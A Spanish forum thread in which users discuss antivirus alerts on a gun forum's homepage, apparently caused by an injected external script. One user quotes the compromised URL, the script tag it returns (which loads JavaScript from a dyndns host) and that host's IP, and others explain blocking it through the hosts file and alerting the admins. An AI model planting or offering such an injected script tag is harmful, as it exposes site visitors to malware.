Pagina principal del foro...¿infectada?

[poceron70]

A mi me pasa lo mismo!!!

[byWok]

Vale, solucionado. He hecho lo que indicabas, Xavi, y ya no me detecta nada el antivirus. Solucionado

Para modificar el host, lo he hecho así:

Para Windows 8,Windows 7 y Windows Vista

El archivo host, en principio se encuentra aquí:
C:/Windows/System32/drivers/etc/hosts

Necesitamos iniciar sesión como administradores del equipo y además abrir el bloc de notas usando permisos extra de administrador.

-Haz clic en el Boton del Menu de inicio“menú de inicio”.

-Escribe en la barra de búsqueda “Bloc de Notas”.

-Haz clic derecho sobre el icono de bloc de notas y selecciona User Account Control permission “Ejecutar como administrador”.

-Escribe tu contraseña del equipo (si te pregunta por ella) y Selecciona “Si” en el dialogo del “Control de cuentas de usuario”.

-Navega hasta la ubicación del archivo hosts (ver sección anterior).

-Si no ves ningún archivo, entonces selecciona el menú desplegable que dice “Documentos de texto (*.txt)” y cámbialo para que diga “Todos los archivos (*.*)”.

-Selecciona el archivo hosts y haz doble clic en el o selecciona el botón “Abrir”

-Después de modificarlo, asegúrate de guardar los cambios.

Me alegra que hayas podido resolverlo tú solo.
Era la hora de meterse en la cocina

[byWok]

A mi me pasa lo mismo...no soy entendido en informatica asi que para mi es un jaleo trastear el el host o lo que sea eso...creo que el administrador o quien corresponda deberia de arreglar este tema, si no seguramente deje de visitar el foro en una temporada

Si alguien tiene la manera de contactar con los administradores del foro, o con los moderadores, será la manera más eficaz de solucionar el problema.

Mientras tanto, lo de editar el archivo de hosts del PC de cada uno, servirá para minimizar los riesgos.

[tuareg]

Uso el mountain Lion, en unos días me pasaré al Maverick.

saludos

[byWok]

Uso el mountain Lion, en unos días me pasaré al Maverick.

saludos

Pues eso, por debajo, es Linux. Toqueteado, pero Linux.
Pero, sin duda, mucho más seguro que el Windows.

[tuareg]

por si acaso ya he incluido esa pagina en mi lista de hosts.

gracias!!!

[josmi]

Yo no tengo ni idea de informatica, pero he comprobado que la advertencia de Avast me sale si entro en ésta web a través de Google Crome y no si lo hago a través de Internet Explorer.

Un saludo

[lincis]

otro más con el mismo aviso.

[Cantil]

Y otro.

Saludos.

[refres]

Yo no tengo ni idea de informatica, pero he comprobado que la advertencia de Avast me sale si entro en ésta web a través de Google Crome y no si lo hago a través de Internet Explorer.

Un saludo

A mi, con Windows 7 y Firefox no me salta la advertencia.

El único que utilizo es Firefox. Probé un tiempo el Google Crome y otros navegadores, y enseguida empezaron a colarse virus y programas espias.


Pd. Gracias a Grafitty y byWok por aclarar como modificar el host ese

[Erick]

A mi no me salta alarma alguna ni en los ordenadores ni en los moviles, utilizo avast en ambos ordenatas, uno es XP y otro windows 8. Navego con firefox normalmente, pero con explorer tampoco me da alarma.

Los moviles son ambos android, uno con NQ mobile security y otro con zoner antivirus.

[manolete007]

Hola, a mí me saltó el antivirus ayer dos veces con el mismo aviso del compañero Grafitti, pero de momento no ha vuelto a pasar.

[guncolection]

Ha dejado de saltar el antivirus...ahora si que estoy mosqueado a no ser que alguien me explique por que ha dejado de avisar el antivirus

[byWok]

Ha dejado de saltar el antivirus...ahora si que estoy mosqueado a no ser que alguien me explique por que ha dejado de avisar el antivirus

Por lo que veo, la llamada a la URL externa incrustada en el código del portal de Armas.es sigue estando ahí. Y hasta que un administrador del foro, ahí va a seguir.

Lo que ha cambiado es la respuesta a esa llamada; la URL:

Código: Seleccionar todo

http://www.amigi.org/tmp/ini.php

Ahora reenvía a otro sitio:

Código: Seleccionar todo

<nofollow><script language='JavaScript' src=http://cdnnquhn9.dyndns.info/infob.php?i=25513></script></nofollow>

Pero hace lo mismo. Sigue siendo un servidor de Ucrania; solo que ha cambiado de nombre y posiblemente de IP ( ayer no la anoté ).

Hoy es:

Código: Seleccionar todo

217.30.200.199 cdnnquhn9.dyndns.info

Y si el antivirus no lo detecta ahora es porque no les ha dado tiempo a clasificarlo como malware.

Aunque estrictamente hablando, aún no es malware. Tiene mala idea, pero no hace aún nada.

Por cierto... el maligno este tiene el control del site ese de amigi.org, ya que puede cambiar el contenido del script a su antojo.

P.D.: Insisto en que debería haber una manera de contactar con los administradores del foro para poder avisarles de una cosa como esta.

[sakovalmet]

Yo tambien lo detecto con el avast, intentare modificar el host

[grafitti]

Ya me he puesto en contacto con la administración del foro para ponerlos en alerta de la incidencia.

Esperamos noticias.

Gracias!

[byWok]

Ya me he puesto en contacto con la administración del foro para ponerlos en alerta de la incidencia.

Esperamos noticias.

Gracias!

Yo he reportado el primer mensaje de este hilo
Más que nada porque fuiste tú quien detectó el problema.
Si el reporte llega a los moderadores, será más fácil que llegue a los administradores.

El problema es siempre el mismo; estas cosas pasan ( o se detectan ) en dias festivos.

[grafitti]

Yo he hecho lo mismo Xavi. He linkado el hilo via mail a la dirección de contacto del foro.

Un saludo y gracias!